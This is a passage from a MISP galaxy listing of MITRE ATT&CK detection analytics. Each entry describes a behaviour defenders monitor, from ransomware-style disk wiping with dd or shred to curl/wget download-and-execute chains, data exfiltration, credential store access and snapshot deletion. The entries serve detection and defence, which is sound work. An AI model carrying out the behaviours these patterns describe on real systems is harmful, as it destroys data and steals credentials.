Disk enumeration via `diskutil list` or `system_profiler SPStorageDataType` run outside of user login or not associated with system inventory tools

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0538 - AN0538"*

Table 6863. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0188#AN0538

Analytic 0583 - AN0583

Registry modification of the LSA Authentication Packages key followed by LSASS loading a non-standard or unsigned DLL. This includes unusual write access to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`, especially during non-installation timeframes. Correlated with `lsass.exe` loading DLLs not present in baseline or lacking valid signatures.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0583 - AN0583"*

Table 6864. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0207#AN0583

Analytic 0385 - AN0385

Processes invoking destructive commands (dd, shred, wipe) with raw device targets (e.g., /dev/sda, /dev/nvme0n1). Detect direct writes to disk partitions and abnormal superblock or bootloader modifications. Correlate shell execution with subsequent block device I/O.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0385 - AN0385"*

Table 6865. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0137#AN0385

Analytic 0835 - AN0835

Behavioral sequence of unauthorized privilege escalation via permission modification: (1) chmod/chown/setfacl process execution with suspicious parameters, (2) Targeting of critical system files or unusual permission values, (3) Correlation with non-privileged user context or unusual timing patterns, (4) Follow-on file access indicating successful permission bypass

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0835 - AN0835"*

Table 6866. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0299#AN0835

Analytic 0853 - AN0853

Cloud workload exploitation leads to repeated container, service, or VM termination/restart, typically associated with CVE-based crash triggers or fuzzed payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0853 - AN0853"*

Table 6867. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0304#AN0853

Analytic 0395 - AN0395

Detects manual or scripted removal of logs, artifacts, or malware droppings via `rm` or PowerCLI in ESXi shell. Focus on deletions from /tmp/, /var/core/, or /scratch.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0395 - AN0395"*

Table 6868. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0140#AN0395

Analytic 0539 - AN0539

Use of `esxcli storage` or `vim-cmd vmsvc/getallvms` by unusual sessions or through interactive shells unrelated to administrative maintenance tasks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0539 - AN0539"*

Table 6869. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0188#AN0539

Analytic 0953 - AN0953

Defenders can detect suspicious reversion of cloud compute instances by monitoring for unusual snapshot restores, rollback actions, or ephemeral storage resets that occur outside expected administrative workflows. From a defender's perspective, relevant detection chains include: a snapshot restore triggered by a new or rarely used account, a sequence of snapshot creation immediately followed by a restore and instance start, or rollbacks performed from anomalous geographic or network locations. These patterns may indicate attempts to remove forensic evidence or re-establish a clean execution state for persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0953 - AN0953"*

Table 6870. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0337#AN0953

Analytic 0935 - AN0935

ESXi shell or vim-cmd execution that deletes all VM snapshots using vmsvc/snapshot.removeall or rm on snapshot paths

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0935 - AN0935"*

Table 6871. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0329#AN0935

Analytic 0359 - AN0359

Adversary places scripts or binaries with misleading names in /etc/rc.local.d or /var/spool/cron, or registers services with legitimate-sounding names not present in default ESXi builds.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0359 - AN0359"*

Table 6872. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0127#AN0359

Analytic 0593 - AN0593

Login to vSphere or ESXi hosts using domain accounts, especially those associated with vpxuser or unexpected group memberships.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0593 - AN0593"*

Table 6873. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0210#AN0593

Analytic 0636 - AN0636

VM services or management daemons communicating on ports not defined by VMware defaults, such as vpxa or hostd processes initiating traffic over high-numbered or unexpected ports.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0636 - AN0636"*

Table 6874. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0227#AN0636

Analytic 0663 - AN0663

Adversary gains shell access or uploads a malicious script to deface hosted web content in Nginx, Apache, or other services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0663 - AN0663"*

Table 6875. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0238#AN0663

Analytic 0366 - AN0366

Detection of suspicious access to cloud-native secret management systems (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, HashiCorp Vault). Focuses on abnormal secret retrieval activity, such as secrets being accessed by unusual identities, from unexpected regions, outside business hours, or at high volume. Correlates API calls to secret retrieval with surrounding authentication events, role assumptions, and anomalous execution patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0366 - AN0366"*

Table 6876. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0130#AN0366

Analytic 0736 - AN0736

Abuse of launchctl to execute or manage Launch Agents and Daemons. Defender perspective: correlation of suspicious plist file creation or modification in LaunchAgents/LaunchDaemons directories with subsequent execution of the launchctl command. Abnormal executable paths (e.g., /tmp, /Shared) or launchctl activity followed by network connections are highly suspicious.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0736 - AN0736"*

Table 6877. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0265#AN0736

Analytic 0367 - AN0367

Detects unusual outbound file transfer behavior using protocols like FTP, SMB, SMTP, or DNS, involving non-standard processes, off-hour activity, or uncommonly high volume.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0367 - AN0367"*

Table 6878. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0131#AN0367

Analytic 0763 - AN0763

Unusual TLS tunnels through ports not normally encrypted (e.g., TLS on port 8080, 53). Defender sees NetFlow/IPFIX or packet inspection indicating high-entropy traffic volumes and asymmetric client/server exchange ratios.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0763 - AN0763"*

Table 6879. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0273#AN0763

Analytic 0673 - AN0673

Monitor for security commands and API calls interacting with the Keychain, as well as file access attempts to stored certificates and private keys in ~/Library/Keychains or /Library/Keychains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0673 - AN0673"*

Table 6880. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0240#AN0673

Analytic 0376 - AN0376

Creation of VSCode tunnel configuration file combined with interactive remote session via code CLI or ssh with JetBrains gateway.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0376 - AN0376"*

Table 6881. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0133#AN0376

Analytic 0637 - AN0637

Initial process initiates outbound connection to first-stage C2, receives payloads or commands, then spawns or injects into a second process that establishes a new outbound connection to an unrelated destination (second-stage C2).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0637 - AN0637"*

Table 6882. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0228#AN0637

Analytic 0386 - AN0386

Abnormal invocation of diskutil, asr, or low-level APIs (IOKit) to erase/partition drives. Correlate process execution with unified log entries showing destructive disk operations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0386 - AN0386"*

Table 6883. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0137#AN0386

Analytic 0368 - AN0368

Detects file exfiltration using tools like curl, scp, or custom binaries over protocols such as FTP, HTTP/S, or DNS tunneling, especially outside baseline user behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0368 - AN0368"*

Table 6884. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0131#AN0368

Analytic 0863 - AN0863

A compromised package/update (deb/rpm/tarball/AppImage/vendor updater) is installed, writing/overwriting files in /usr/local/bin, /usr/bin, /opt, or ~/.local; first run executes unexpected shells/curl/wget and connects to unapproved hosts. Correlate package/updater execution → file writes/replace → first-run child processes → egress.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0863 - AN0863"*

Table 6885. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0309#AN0863

Analytic 0683 - AN0683

Monitor call log records from corporate devices for unusual or unauthorized numbers, especially

repeated calls to/from known malicious phone numbers. Correlate with subsequent system events (e.g., browser navigation, remote management tool execution).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0683 - AN0683"*

Table 6886. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0245#AN0683

Analytic 0836 - AN0836

macOS-specific permission modification behavioral chain: (1) chmod/chown/chflags process execution, (2) System Integrity Protection (SIP) bypass attempts, (3) Extended attribute (xattr) modifications, (4) Unified log correlation with file system events, (5) Subsequent access to previously restricted resources

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0836 - AN0836"*

Table 6887. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0299#AN0836

Analytic 0638 - AN0638

Shell script or binary initiates curl/wget request to staging domain, writes output to disk or memory, and shortly afterward launches another process that establishes new outbound connection to a different IP or hostname.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0638 - AN0638"*

Table 6888. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0228#AN0638

Analytic 0396 - AN0396

Process creation involving suspicious delays (e.g., Sleep, ping -n loops, WaitForSingleObject), followed by sensitive system access or lateral movement behaviors.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0396 - AN0396"*

Table 6889. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0141#AN0396

Analytic 0963 - AN0963

User pastes a multi-line or one-liner into a terminal (bash/zsh) that downloads/decodes and executes content. Chain: terminal exec of curl/wget/bash/sh with pipe to interpreter or base64-decode → transient file under /tmp|~/.cache → immediate outbound egress.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0963 - AN0963"*

Table 6890. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0340#AN0963

Analytic 0639 - AN0639

Initial process using NSURLSession or similar APIs reaches out to known staging domains, followed by creation of a reverse shell or RAT connecting to a second unrelated server.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0639 - AN0639"*

Table 6891. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0228#AN0639

Analytic 0936 - AN0936

Execution of `erase`, `format`, and `reload` in immediate sequence from a privileged AAA session

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0936 - AN0936"*

Table 6892. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0329#AN0936

Analytic 0693 - AN0693

Remote/API driven creation **and** start of a container whose image is not on an allow-list (or is tagged `latest`), executed by a non-admin principal, and/or started with risky runtime attributes (e.g., `--privileged`, host PID/NET namespaces, sensitive host path mounts, capability adds). Correlates **create** → **start** → first network/process actions from that container within a short time window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0693 - AN0693"*

Table 6893. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0249#AN0693

Analytic 0369 - AN0369

Detects non-native file transfer via curl, Python scripts, or AppleScript using uncommon protocols like FTP, SMTP, or DNS exfiltration through mDNSResponder abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0369 - AN0369"*

Table 6894. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0131#AN0369

Analytic 0377 - AN0377

Detection of JetBrains or VSCode tunnel profile creation followed by unusual persistent SSH or IDE-based tunnel communications to devtunnel APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0377 - AN0377"*

Table 6895. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0133#AN0377

Analytic 0773 - AN0773

Detection of new admin or role assignment actions within Microsoft 365/O365 environments to elevate access for persistence or lateral movement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0773 - AN0773"*

Table 6896. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0277#AN0773

Analytic 0737 - AN0737

Detects mailbox manipulation or deletion via PowerShell (e.g., Remove-MailboxExportRequest), file deletion from Outlook data stores (Unistore.db), or tampering with quarantined mail logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0737 - AN0737"*

Table 6897. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0266#AN0737

Analytic 0837 - AN0837

ESXi hypervisor permission modification behavioral chain: (1) SSH access to ESXi host, (2) chmod/chown execution on VMFS datastore files or system configuration, (3) Modification of VM configuration files (.vmx) or virtual disk permissions, (4) Hostd service log correlation, (5) vCenter permission change events if centrally managed

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0837 - AN0837"*

Table 6898. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0299#AN0837

Analytic 0378 - AN0378

Detects unauthorized access to Windows Credential Manager through anomalous process execution (vaultcmd.exe, rundll32.exe keymgr.dll), suspicious API calls (CredEnumerateA), or direct file access to Credential Locker files. Correlates process creation with subsequent file reads of .vcrd/.vpol files under user Credential Locker directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0378 - AN0378"*

Table 6899. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0134#AN0378

Analytic 0873 - AN0873

Detection of browser-based downloads from HTML sources that trigger file creation in temp or user directories followed by execution of new files within short timeframes and suspicious parent-child lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0873 - AN0873"*

Table 6900. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0313#AN0873

Analytic 0783 - AN0783

Detects sequential command-line compression utilities (e.g., gzip, tar, zip, 7z) followed by execution of unpacked files, especially in temp directories or under non-standard locations like /dev/shm or /tmp with ELF binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0783 - AN0783"*

Table 6901. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0281#AN0783

Analytic 0387 - AN0387

Execution of destructive CLI commands such as 'erase startup-config', 'erase flash:' or 'format disk' on routers/switches. Detect privilege level escalation preceding destructive commands.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0387 - AN0387"*

Table 6902. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0137#AN0387

Analytic 0738 - AN0738

Detects the use of mail utilities like `mail` or `mailx` to delete mailbox content, or file-level deletion of inbox files from `/var/spool/mail/` or `/var/mail/` following suspicious sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0738 - AN0738"*

Table 6903. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0266#AN0738

Analytic 0397 - AN0397

Script-based execution of sleep loops or time delay commands (e.g., sleep, ping delay, while-loops) followed by file creation or network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0397 - AN0397"*

Table 6904. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0141#AN0397

Analytic 0973 - AN0973

Detects abuse of fileless storage mechanisms such as Registry keys, WMI classes, and Event Logs used to stage payloads, scripts, or encoded content outside traditional files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0973 - AN0973"*

Table 6905. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0344#AN0973

Analytic 0793 - AN0793

Monitor mail server logs (Postfix, Sendmail, Exim) for anomalous From headers mismatching authenticated SMTP identities. Detect abnormal relay attempts, spoofed envelope-from values, or large-scale outbound campaigns targeting internal users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0793 - AN0793"*

Table 6906. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0286#AN0793

Analytic 0379 - AN0379

Detects unauthorized use of SMTP/IMAP/POP3 by suspicious binaries (e.g., PowerShell, rundll32) to exfiltrate data or beacon via email, often bypassing proxy or content filters.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0379 - AN0379"*

Table 6907. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0135#AN0379

Analytic 0739 - AN0739

Detects removal of Apple Mail artifacts via AppleScript or direct deletion of mailbox content in ~/Library/Mail/, especially when preceded by Remote Login or C2-related API access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0739 - AN0739"*

Table 6908. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0266#AN0739

Analytic 0937 - AN0937

Cloud API calls disabling snapshot scheduling, backup policies, versioning, followed by DeleteSnapshot/DeleteVolume operations

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0937 - AN0937"*

Table 6909. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0329#AN0937

Analytic 0838 - AN0838

Detect anomalous chains of memory allocation and execution inside the same process (e.g., VirtualAlloc → memcpy → VirtualProtect → CreateThread). Unlike process injection, reflective code loading does not perform cross-process memory writes — the suspicious activity occurs entirely within the process's own PID context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0838 - AN0838"*

Table 6910. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0300#AN0838

Analytic 0883 - AN0883

Execution of destructive utilities (dd, shred, wipe) targeting block devices, or processes invoking syscalls to directly overwrite /dev/sd* or /dev/nvme* partitions. Correlate abnormal file write attempts with shell process execution and block device access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0883 - AN0883"*

Table 6911. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0316#AN0883

Analytic 0388 - AN0388

Execution of InstallUtil.exe from .NET framework directories with arguments specifying non-standard or attacker-supplied assemblies, especially when followed by suspicious child process creation or script execution. Detection also includes correlation of newly created binaries prior to InstallUtil invocation and anomalous command-line usage compared to historical baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0388 - AN0388"*

Table 6912. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0138#AN0388

Analytic 0938 - AN0938

Correlation of package install event with execution of postinstall scripts containing unknown binaries or abnormal CLI usage. Look for `/usr/sbin/installer` execution followed by child processes originating from postinstall script.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0938 - AN0938"*

Table 6913. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0330#AN0938

Analytic 0983 - AN0983

Detects processes or binaries executed from trusted directories (e.g., System32) or using trusted names (e.g., svchost.exe) where the metadata, hash, or parent process does not align with legitimate activity patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0983 - AN0983"*

Table 6914. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0347#AN0983

Analytic 0389 - AN0389

Detects credential harvesting via userland API hooking (e.g., SetWindowsHookEx, IAT, or inline patching) by correlating memory modifications with hook installation functions and suspicious module loads in credential-sensitive processes like lsass.exe, explorer.exe, or winlogon.exe.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0389 - AN0389"*

Table 6915. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0139#AN0389

Analytic 0839 - AN0839

Monitor for in-process mmap + mprotect + execve/execveat activity where memory permissions are changed from writable to executable inside the same process without a corresponding ELF on disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0839 - AN0839"*

Table 6916. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0300#AN0839

Analytic 0893 - AN0893

Execution of commands disabling AAA, logging, or security features on routers/switches. Detect privilege escalation followed by config changes that disable defense mechanisms.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0893 - AN0893"*

Table 6917. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0893

Analytic 0398 - AN0398

Use of `usleep`, `nanosleep`, or `NSTimer` calls in executables or binaries with no GUI interaction, especially followed by disk/network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0398 - AN0398"*

Table 6918. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0141#AN0398

Analytic 0939 - AN0939

Detection of maintainer scripts (e.g., postinst, preinst) being modified or executed during dpkg or rpm operations. Watch for script content that spawns additional processes or writes outside package scope.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0939 - AN0939"*

Table 6919. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0330#AN0939

Analytic 0399 - AN0399

Detects unauthorized or anomalous use of command-line interfaces (CLI) on network devices. Focuses on remote access sessions (e.g., SSH/Telnet), privilege escalation within CLI sessions, execution of high-risk commands (e.g., config replace, terminal monitor, no logging), and configuration changes outside of approved windows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0399 - AN0399"*

Table 6920. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0142#AN0399

Analytic 0993 - AN0993

Detect curl/wget commands saving executable/script payloads to /tmp or /var/tmp followed by execution. Monitor packet captures or IDS/IPS alerts for injected responses or mismatched content types.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0993 - AN0993"*

Table 6921. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0349#AN0993

Analytic 0444 - AN0444

Detects Kerberoasting attempts by monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0444 - AN0444"*

Table 6922. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0157#AN0444

Analytic 0544 - AN0544

Detects conditional access policy changes, exclusion of accounts from MFA enforcement, or registration of new MFA factors by non-admin or anomalous users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0544 - AN0544"*

Table 6923. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0544

Analytic 0454 - AN0454

Detect user account logon attempts that trigger multiple MFA challenges through enterprise identity integrations, especially if MFA push requests are generated without successful interactive

login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0454 - AN0454"*

Table 6924. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160#AN0454

Analytic 0445 - AN0445

Detection of msiexec.exe execution where command-line arguments reference remote MSI packages, UNC paths, HTTP/HTTPS URLs, or DLLs, correlated with subsequent module loads and/or network connections to previously unseen destinations. The behavioral chain links process creation of msiexec.exe with suspicious parameters, network activity to retrieve payloads, and module loading indicative of malicious installation or DLL execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0445 - AN0445"*

Table 6925. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0158#AN0445

Analytic 0644 - AN0644

Monitors Gatekeeper, spctl, and unified log entries for binaries executed with unexpected or untrusted signatures. Correlates file metadata changes with process launches where signature validation is skipped, altered, or fails but the process still executes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0644 - AN0644"*

Table 6926. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0230#AN0644

Analytic 0446 - AN0446

Detection of USB-based remote access hardware (e.g., TinyPilot, PiKVM) attached to the host via drive or peripheral enumeration, triggering vendor identifiers or unusual EDID announcements.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0446 - AN0446"*

Table 6927. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0159#AN0446

Analytic 0464 - AN0464

Process opens /dev/bpf* (libpcap) or loads NetworkExtension filter, then after a crafted inbound packet the same process initiates an outbound connection to the trigger origin.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0464 - AN0464"*

Table 6928. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0162#AN0464

Analytic 0447 - AN0447

Insertion of USB-based hardware proxies (e.g., PiKVM) which register under predictable names (e.g., tinypilot) or mount under known paths (e.g., /opt/tinypilot-privileged).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0447 - AN0447"*

Table 6929. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0159#AN0447

Analytic 0744 - AN0744

Sudden spikes in cloud VM CPU usage with outbound traffic to mining pools and unauthorized instance creation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0744 - AN0744"*

Table 6930. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267#AN0744

Analytic 0474 - AN0474

Firmware flash utility invoked with elevated privileges followed by raw access to firmware device path or changes to boot configuration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0474 - AN0474"*

Table 6931. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0167#AN0474

Analytic 0484 - AN0484

Forged web cookies on Windows endpoints can be detected by monitoring unusual modifications of browser cookie stores (e.g., Chrome SQLite DB, Edge cache) by processes outside of browsers, followed by authentication events to SaaS or IaaS services. Defenders may observe processes writing directly to cookie storage paths or injecting tokens into browser sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0484 - AN0484"*

Table 6932. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0171#AN0484

Analytic 0844 - AN0844

A source performs a closed-port sequence; the endpoint enables a PF/socketfilterfw rule or a background process binds a port; then a successful connection completes from the same source.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0844 - AN0844"*

Table 6933. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0302#AN0844

Analytic 0448 - AN0448

Attachment of hardware-backed USB KVM devices (e.g., TinyPilot) that enumerate new HID or serial communication interfaces with identifiable metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0448 - AN0448"*

Table 6934. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0159#AN0448

Analytic 0494 - AN0494

Detects exploitation of authentication daemons or PAM modules. Defender perspective includes failed or anomalous PAM authentications, abnormal segfaults in authentication services, and exploitation attempts followed by successful unauthorized logins. Correlation identifies memory corruption, replay attempts, and privilege escalation tied to credential services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0494 - AN0494"*

Table 6935. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0174#AN0494

Analytic 0944 - AN0944

Detects usage of `at` command to schedule jobs, followed by job execution and modification of job files under /var/spool/cron/atjobs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0944 - AN0944"*

Table 6936. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0333#AN0944

Analytic 0449 - AN0449

Monitor for excessive or anomalous MFA push notifications or token requests, especially when login attempts originate from unusual IPs or geolocations and do not correspond to legitimate user-initiated sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0449 - AN0449"*

Table 6937. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160#AN0449

Analytic 0545 - AN0545

Detects API calls to cloud secrets/MFA configurations where MFA enforcement policies are disabled or bypassed.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0545 - AN0545"*

Table 6938. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0545

Analytic 0554 - AN0554

Suspicious rule creation within Outlook or Exchange clients, including auto-move or delete conditions tied to incident or security alert keywords. Defender perspective: correlation between missing inbound emails and newly added mailbox rules.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0554 - AN0554"*

Table 6939. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0192#AN0554

Analytic 0455 - AN0455

Cause→effect chain: (1) a user or service spawns a shell/PowerShell that queries local/domain password policy via commands/cmdlets (e.g., `net accounts`, `Get-ADDefaultDomainPasswordPolicy`, `secedit /export`); (2) optional directory/LDAP reads from DCs; (3) same principal performs adjacent Discovery or credential-related actions within a short window. Correlate sysmon process creation with PowerShell ScriptBlock and Security logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0455 - AN0455"*

Table 6940. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0455

Analytic 0465 - AN0465

Defenders may observe unauthorized or anomalous changes to NAT configurations, including the addition of new translation rules or modifications to existing ones. Suspicious behaviors include sudden introduction of NAT mappings bridging segmented networks, new port address translation rules that obscure true source IPs, or traffic flows inconsistent with expected network design. Multi-event correlation includes detecting configuration changes on routers/firewalls, followed by traffic traversing unexpected internal/external address pairs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0465 - AN0465"*

Table 6941. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0163#AN0465

Analytic 0654 - AN0654

Suspicious modification of file artifacts (e.g., logs, ISO templates) on ESXi datastores, followed by beaconing or POST operations to external IPs potentially hiding payloads in file-like traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0654 - AN0654"*

Table 6942. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0235#AN0654

Analytic 0645 - AN0645

Detects adversarial abuse of systemd timers by correlating file creation/modification of .timer and .service units in system directories with the execution of abnormal child processes launched by 'systemd' (PID 1), especially as root.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0645 - AN0645"*

Table 6943. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0231#AN0645

Analytic 0456 - AN0456

Chain: (1) interactive/non-interactive `chage -l`, `grep`/`cat` of PAM config (e.g., `/etc/pam.d/common-password`, `/etc/security/pwquality.conf`); (2) optional reads of `/etc/login.defs`; (3) same user performs account enumeration or password change attempts shortly after. Use auditd `execve` and file read events plus shell history collection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0456 - AN0456"*

Table 6944. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0456

Analytic 0546 - AN0546

Detects PAM module modifications or removal of MFA hooks in /etc/pam.d/ configurations, correlated with successful authentications lacking MFA prompts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0546 - AN0546"*

Table 6945. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0546

Analytic 0564 - AN0564

Suspicious outbound HTTPS connections where the TLS Server Name Indication (SNI) does not match the HTTP Host header, indicating potential use of domain fronting to mask C2 traffic via CDNs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0564 - AN0564"*

Table 6946. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0196#AN0564

Analytic 0547 - AN0547

Detects modifications to authorization plugins responsible for MFA enforcement and correlates with suspicious login sessions missing MFA prompts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0547 - AN0547"*

Table 6947. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0547

Analytic 0457 - AN0457

